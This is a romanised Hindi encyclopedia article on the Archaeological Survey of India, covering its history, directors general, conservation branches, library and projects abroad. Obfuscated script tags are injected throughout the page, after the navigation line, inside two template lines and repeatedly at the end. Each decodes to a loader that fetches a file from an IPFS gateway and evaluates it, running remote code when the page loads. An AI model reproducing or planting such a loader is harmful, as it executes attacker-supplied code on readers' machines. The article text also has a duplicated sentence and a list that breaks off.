भारतीय पुरातत्त्व सर्वेक्षण

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bharatiy puratattv sarvekshan
any nam bha.pu.s. athava e.es.aee.
uddeshy rashtriy mahath‍v ke prachin sh‍marakoan tatha puratath‍viy sh‍thaloan aur avasheshoan ka rakharakhav karana
sthapana 1784 ee.
mukhyalay janapath, nee dilli pin- 110011
sanbandhit lekh keandriy puravashesh sangrah, keandriy puratattv pustakalay
vartaman mahanideshak d aau. rakesh tivari
any janakari yah vibhag paryatan evan sanskriti mantralay ke aantargat sanskriti vibhag ke sanlagn karyalay ke roop mean kary karata hai. is vibhag ke pramukh 'mahanideshak' hote haian.
bahari k diyaan adhikarik vebasait
adyatan‎

bharatiy puratatv sarvekshan (aangrezi:Archaeological Survey of India, sankshipt nam: bha. pu. s. athava e.es.aee.) bharat sarakar ke sanskriti vibhag ke antargat ek sarakari ejeansi hai, jo ki puratatv adhyayan aur saanskritik smarakoan ke anurakshan ke liye uttaradayi hoti hai. bharatiy puratath‍v sarvekshan ka pramukh kary rashtriy mahath‍v ke prachin sh‍marakoan tatha puratath‍viy sh‍thaloan aur avasheshoan ka rakharakhav karana hai. isake atirikh‍t, prachin sansh‍marak tatha puratath‍viy sh‍thal aur avashesh adhiniyam, 1958 ke pravadhanoan ke anusar yah desh mean sabhi puratath‍viy gatividhiyoan ko viniyamit karata hai. yah puravashesh tatha bahumoolh‍y kalakriti adhiniyam, 1972 ko bhi viniyamit karata hai.

sthapana

sthapit bharatiy puratattv sarvekshan bharat mean puratatvik anusandhan karane vali sarvochch sanstha hai. yah n sirph anusandhan, balki prachin smarakoan ke sanrakshan evan suraksha ki bhi vyavastha karane ki zimmedari nibhati hai. yah pragaitihasik, ady-aitihasik tatha any prachin sthaloan ke samasyayukt anusandhan evan bade paimane par unake utkhanan ke karyoan ko sampann karavati hai. isake sath hi yah sanstha vastukala sarvekshan, smarakoan ke as-pas ki bhoomi ko thik karana, moortiyoan, smarakoan tatha sangrahalay vastuoan ka rasayanik rakh-rakhav, shilalekhoan se sambaddh patrikaoan tatha pustakoan ke prakashan adi ka kary mean bhi sanlagn hai. yah vibhag paryatan evan sanskriti mantralay ke aantargat sanskriti vibhag ke sanlagn karyalay ke roop mean kary karata hai. is vibhag ke pramukh 'mahanideshak' hote haian.

mahanideshak

bharatiy puratattv sarvekshan ke mahanideshak evan unake karyakal ki nimnavat hai-

kramaank karyakal mahanideshak ka nam
1. 1871 - 1885 alekzaiandar kaniangham
2. 1886 - 1889 jems bargas
3 . 1902 - 1928 j aaun marshal (puratatvashastri)
4. 1928 - 1931 hairold hargrivs
5. 1931 - 1935 ray bahadur daya ram sahani
6. 1935 - 1937 je. eph. blॅkistan
7. 1937 - 1944 ray bahadur ke. en. dikshit
8. 1944 - 1948 sar m aaurtimar vhilar
9. 1948 - 1950 en. pi. chakravarti
10. 1950 - 1953 madhav svaroop vats
11. 1953 - 1968 e. ghosh
12. 1968 - 1972 bi.bi.lal
13. 1972 - ? deshapaande (puratatvashastri)
14. 1997 - 2000 ajit shankar
15. - bi. ke. thapar (puratatvashastri)
16. - si. baboo rajiv
17. 2009 - 2010 ke. en. shrivastav (aee.e.es.)
18. 2013 pravin shrivastav
19. 2014 - ab tak d aau. rakesh tivari (puratatvashastri)

sanrakshan tatha parirakshan

[[chitr:Archeological Survey of India-headquarterjpg.jpg|thumb|450px|bharatiy puratattv sarvekshan vibhag ka mukhyalay, dilli]] rashtriy mahath‍v ke prachin sh‍marakoan tatha puratath‍viy sh‍thaloan tatha avasheshoan ke rakharakhav ke lie samh‍poorn desh ko 24 mandaloan mean vibhajit kiya gaya hai. sangathan ke pas mandaloan, sangrahalayoan, uth‍khanan shakhaoan, pragaitihasik shakha, puralekh shakhaoan, vijnan shakha, udyan shakha, bhavan sarvekshan pariyojana, mandir sarvekshan pariyojanaoan tatha anh‍tarajaliy puratath‍v sh‍kanh‍dh ke madhh‍yam se puratath‍viy anusandhan pariyojanaoan ke sanchalan ke lie b di sankhh‍ya mean prashikshit puratath‍vavidoan, sanrakshakoan, puralekhavidoan, vastukaroan tatha vaijnanikoan ka kary dal hai. yadyapi ady aitihasik kal mean sanrachana ke sanrakshan ke praman milate haian jaisa ki joonagadh, gujarat mean sakshh‍y mila hai, yah un sanrachanaoan par kie ge the jo tath‍kalin samaj ke lie labhakari the. phir bhi sh‍marakoan ko unake auchith‍y ke anuroop parirakshit karane ki avashh‍yakata ko samajhane ka shrey mukhh‍yat: britishoan ko jata hai jo sanyog se poorv kaloan se kam n tha. kala vidhvans ko rokane ke lie kanooni jama pahanane ke lie aramh‍bh mean do prayas kie ge the. do vidhan banae ge namat: bangal ke reguleshan aauf 1810 aur madras reguleshan aauf 1817.[1]

prakashan

bharatiy puratath‍v sarvekshan, puralekh aur mudrashash‍tr ke alava, aranbh se uth‍khanan mean anusandhan, khoj, sanrakshan, mandiroan aur dharm-nirapeksh bhavanoan ke vash‍tukala sarvekshan jaise vishayoan par varshik aur visheshaank donoan ki anek push‍takean prakashit karata hai. isake alava, yah sarvekshan kenh‍driy roop se sanrakshit sh‍marakoan aur puratath‍viy sh‍thaloan par gaid push‍takoan, pholh‍dar/vivaranika, portapholiyo aur chitr-posh‍takardoan ke roop mean lokapriy sahith‍y ko prakashit karata hai. bharatiy puratath‍v sarvekshan ka prakashan e. kaniangham, pratham mahanideshak dvara aranbh kiya gaya, jinh‍hoanne apane sahayogiyoan ke sath 1862-63 se age apane bhraman ke sabhi nishh‍karshoan ko ganbhiratapoorvak dash‍tavej ke roop mean taiyar kiya. 1874 mean, puralekh avasheshoan par vish‍trit shodh vali nee samrajh‍y shrriankhala namak ek nee shrriankhala aranbh ki gee jo 1933 tak jari rahi.

puratatv sansthan

puratath‍v vijnan, puralekhashash‍tr, mudrashash‍tr, sangrahalay vijnan, sanrakshan, puratath‍viy kanoon adi ke bahu vishayak kshetr mean unh‍nat prashikshan dene ke lie sh‍kool aauph arkiyoloji jisaki sh‍thapana 1959 mean ki gee thi, ka unh‍nayan karake varsh 1985 mean iansh‍tichh‍yoot aauph arkiyoloji ki sh‍thapana ki gee. sansh‍than mean sanchalit puratath‍v vijnan mean sh‍natakoth‍tar diph‍loma do varshoan ki avadhi ka hai. ise sansh‍than ke sankay sadash‍yoan tatha atithi vh‍yakhh‍yan ke roop mean desh ke prakhh‍yat puratath‍vavidoan ke dvara sanchalit kiya jata hai.

keandriy puravashesh sangrah

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

anh‍veshan puratath‍v sanbandhi anusandhan ke lie poorvapekshi hai tatha is prakriya se puravasheshoan, mridabhanh‍d tatha manav ke itihas ke anh‍y moolh‍yavan avasheshoan ki khoj ki jati hai. bharat mean anh‍veshan varsh 1784 mean eshiyatik sosaiti ki sh‍thapana se praramh‍bh hue. varsh 1861 mean bharatiy puratattv sarvekshan ki sh‍thapana ke pashh‍chath, anh‍veshanoan tatha uth‍khananoan mean vriddhi huee. elekh‍sajeandar kaniangham ke adhin bharatiy puratath‍v sarvekshan tatha tath‍kalin pranh‍tiy sarakaroan donoan ne gahan sarvekshan kie. isase asankhh‍y puravasheshoan ki khoj huee. sar jan marshal ne sangrah ke uddeshh‍y, inake parirakshan tatha pralekhan ke alava, in puravasheshoan ko rakhane ke lie varsh 1906 mean kee sh‍thal sangrahalayoan ka srijan kiya. isaka uddeshh‍y chhatroan, vidvanoan ki avashh‍yakataoan ko poora karana tatha bharat ki samriddh saansh‍kritik virasat ke bare mean am janata ko shikshit karana tha.[1]

keandriy puratattv pustakalay

[[chitr:Central-archeological-library.jpg|thumb|300px|keandriy puratattv pustakalay]]

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kendriy puratath‍v push‍takalay ki sh‍thapana 1902 mean ki gee thi. yah rashh‍triy abhilekhagar sauandh, janapath, nee dilh‍li ki doosari manjil par sh‍thit hai. is push‍takalay mean lagabhag 1,00,000 push‍takoan ka sangrah hai jisamean push‍takean tatha jarnalh‍s shamil haian. is push‍takalay mean vibhinh‍n vishayoan par push‍takean tatha patrikaean haian jaise ki itihas, puratath‍v, manav vijnan, vash‍tukala, kala, puralekh tatha mudra vijnan, bharatavidya sahith‍y, bhoovijnan adi.

rashtriy smarak tatha puravashesh mishan

bharat ke pas pragaitihasik samay se nirmit virasat, puratath‍viy sh‍thaloan tatha avasheshoan ke roop mean asadharan roop se moolh‍yavan, vish‍trit tatha vividh saansh‍kritik virasat haian. b di sankhh‍ya mean sh‍marak hi uth‍sahavardhak haian tatha ye saanskritik vichar tatha vikas donoan ke pratik haian. ab aisa pratit hota hai ki bharat ki virasat ko sansh‍thapit karana isake vidyaman hone mean shasit prakriya tatha kis tarah yah virasat logoan se sanbandhit hai, ke atit ke hamare jnan, samajh tatha shayad ruchi mean kuchh moolabhoot kami huee hai jo saansh‍kritik roopoan mean vh‍yakh‍t isake avirbhav audyogik vriddhi ke yug mean tezise badal rahi jivan shaili mean apani paramh‍parik mahath‍ta ko kho rahe haian.[1]

antar jaliy puratatv

bharat ke pas 7,516 ki.mi. lanbi tatarekha, 1197 dvip samooh aur 1,55,889 varg ki.mi. samudri kshetr aur 2,013,410 varg ki.mi. vishishh‍t arthik kshetr hai. desh ka vish‍trit jal kshetr aantarjaliy saansh‍kritik virasat mean dhani hai. aantarjaliy puratath‍v ke mahath‍v ka anubhav VI panchavarshiy yojana mean praranbh kiya gaya. bharat mean aantarjaliy puratath‍v ki shurooat 1981 mean huee. desh mean tat se door anh‍veshan ne is vishay ko paryaph‍t lokapriy bana diya. 2001 ee. mean bharatiy puratath‍v sarvekshan (e. es. aee.) mean aantarjaliy puratath‍vavijnan viang (yoo. e. dabh‍lh‍yoo.) ki sh‍thapana is vishay ke vikas ki disha mean ek mahath‍vapoorn kadam tha. apani sh‍thapana se yooedabh‍lh‍yoo arab sagar aur bangal ki kha di mean aantarjaliy puratath‍vik adhh‍yayan mean sakriyata se ju da hua hai. yoo. e. dabh‍lh‍yoo. nimh‍nalikhit karyoan mean sanlagh‍n hai: ·

  • aantarjaliy sh‍thaloan aur prachin pot avasheshoan ka pralekhan.
  • vh‍yavasayik puratath‍vavidoan, yuva anusandhanakartaoan aur chhatroan ko prashikshan.
  • vibhinh‍n pahaluoan par vichar-vimarsh karane aur jagarookata paida karane hetu sangoshh‍thiyoan ka ayojan.
  • aantarjaliy sansh‍kriti virasat ki raksha. [1]

gatividhiyaan

bharatiy puratattv sarvekshan ki pramukh gatividhiyaan nimnalikhit haian -

  1. puratatvik avasheshoan tatha utkhanan karyo karyo ka sarvekshan
  2. keandr sarakar ke suraksha vale smarakoan, sthaloan aur avasheshoan ka rakhrakhav aur parirakshan
  3. smarakoan aur bhagnaveshoan ka rasayanik bachav
  4. smarakoan ka puratatvik sarvekshan
  5. shilalekh sanbandhi anusandhan ka vikas aur mudrashastr ka adhyayan
  6. sthal sangrahalayoan ki sthapana aur punargathan
  7. videshoan mean abhiyan
  8. puratattv vijnan mean prashikshan
  9. takaniki riport aur anusandhan karyoan ka prakashan.

bharatiy puratattv sarvekshan kul paanch hazar se zyada smarakoan aur dhaanchoan ki dekharekh kar raha hai. bharatiy puratattv sarvekshan apane 21 mandaloan aur 3 mini mandaloan ke madhyam se apane sanrakshan vale smarakoan ka bachav aur sanrakshan karata apane 21 mandaloan aur 3 mini mandaloan ke jarie apane sanrakshan vale sh‍marakoan ka bachav aur sanrakshan karata hai. prachin smarak aur puratattv sthal v vishesh adhiniyam, 1958 ke aantargat bharatiy puratattv sarvekshan ne desh mean lagabhag 3656 smarakoan v sthaloan ko rashtriy mahatv ka ghoshit kiya hai, jinamean 21 sampattiyaan yoonesko ki vishv dharohar sthal mean shamil haian. 144 varsh pahale huee apani sthapana ke bad se bharatiy puratattv sarvekshan bahut vishal sangathan ka akar le chuka hai aur poore bharat mean isake karyalayoan, shakhaoan aur mandaloan ka jal phaila hai. gujarat ka pavagadh park, mumbee ka chhatrapati shivaji tarminas, jo pahale viktoriya tarminal tha, relave steshan aur gangakoandacholapuram ka brihadeshvar tatha darasuram ka airavateshvaraiya mandir, jo tanjavoor ke brihadeshvar mandir parisar ka vikas hai aur mahanh chola mandiroan ke nam se vikhyat hai. yoonesko dvara 2004 mean vishv saanskritik dharohar soochi mean shamil kie gaye haian. yoonesko ki soochi mean sammilit karane ke lie vishv dharohar keandr ke pas nimnasthaloan ke vivaran bheje gaye haian -

vijnan shakha

sarvekshan ki vijnan shakha ka mukhyalay deharadoon mean hai aur isaki kshetriy prayogshalaean desh bhar mean haian. yaha shakha smarakoan, prachin samagriyoan, paandulipiyoan, peantiangs adi ke rasayanik sanrakshan ka dayitv sanbhalati hai. deharadoon sthit vijnan shakha ki prayogashalaoan ne nimn vaijnanik pariyojanaean hath mean li haian-

  • patthar, terakota aur eeant se bane dhaanchoan par sanrakshanatmak kotiang karane aur unhean mazaboot banane ke lie nayi samagri ki khoj
  • prachin choona palastar ke sanrakshan ke vishay mean vaijnanik adhyayan
  • tvarit sakht hone vale palastar simeant ke vibhinn anupatoan mean usaki bhautik visheshataoan ka akalan.
vijnan shakha ke mukhh‍y kary
  • 8vean vishh‍v virasat sh‍marakoan sahit lagabhag 5000 kenh‍driy sanrakshit sh‍marakoan ka rasayanik upachar evan parirakshan karana.
  • sangrahalay pradarshoan aur uth‍khanit vash‍tuoan ka rasayanik upachar evan parirakshan hamari nirmit saansh‍kritik virasat tatha bhautik virasat mean ho rahi vikriti ke karanoan ka adhh‍yayan karane ke lie vibhinh‍n bhavanoan ki samagriyoan ki samagri virasat par vaijnanik tatha takaniki adhh‍yayan aur anusandhan karana jisase unake parirakshan ki sh‍thiti mean sudhar lane ke lie upayukh‍t sanrakshan upay kie ja sakean.
  • videshoan mean sh‍thit sh‍marakoan aur virasat sh‍thaloan ka rasayanik sanrakshan.
  • rajh‍y sanrakshit sh‍marakoan aur trash‍tiyoan ke niyantran vali saansh‍kritik virasat ko dip aaujit kary ke roop mean takaniki sahayata dena.
  • puratath‍v sansh‍than nee dilh‍li se puratath‍v mean sh‍natakoth‍tar diph‍loma praph‍t karane vale chhatroan ko rasayanik sanrakshan par prashikshan dilana.

bagavani shakha

bharatiy puratattv sarvekshan ki bagavani shakha desh ke vibhinn bhagoan mean sthit keandr sarakar ke sanrakshan vale qarib 287 smarakoan, sthaloan mean bagichoan aur udyanoan ki dekhabhal karati haian. yaha shakha dilli, agara, shrirangapattanam aur bhuvaneshvar mean adhar narsariyaan vikasit karake in bagichoan, udyanoan ke lie mausamanusar paudhe upalabdh karati hai.

puralekh shastr shakha

maisoor sthit puralekh shastr sanskrit aur dravid bhashaoan mean shodh kary karati hai, jabaki nagapur sthit shakha arabi aur farasi mean shodh kary karati hai.

saphal utkhanan

isaki sarvapramukh saphalataoan mean vishv ki sabase prachin sabhyataoan mean se ek sindhu ghati ki sabhyata ke sthaloan ke utkhanan ka kary sarvadhik mahatvpoorn hai.

videshoan mean abhiyan

bharatiy puratattv sarvekshan ne videsh mantralay ke aantarrashtriy paryatan adan pradan karyakram ke aantargat kanbodiya mean 'ta prohm' ke sanrakshan ki pariyojana shuroo ki hai, jisake lie 19 karo d 51 lakh rupaye ka pravadhan kiya gaya hai. yah sanrakshan pariyojana bharat ke pradhanamantri dvara aprail aur navanbar mean kanbodiya yatra ke samay 'prasat ta proham' ke sanrakshan ke vishay mean vahaan ki sarakar ke anurodh par diye gaye ashvasanoan ko poora karane ke lie shuroo ki gayi hai. yaha sanrakshan pariyojana das varsh ki hai aur ise paanch charanoan mean poora kiya jaega. bharatiy puratattv sarvekshan ne yah pariyojana janavari 2004 mean shuroo kar di thi, parantu ise kanbodiya mean faravari 2004 mean vidhivat prarambh kiya gaya.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. 1.0 1.1 1.2 1.3 parichay - About us (hindi) adhikarik vebasait. abhigaman tithi: 11 janavari, 2015.

bahari k diyaan

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>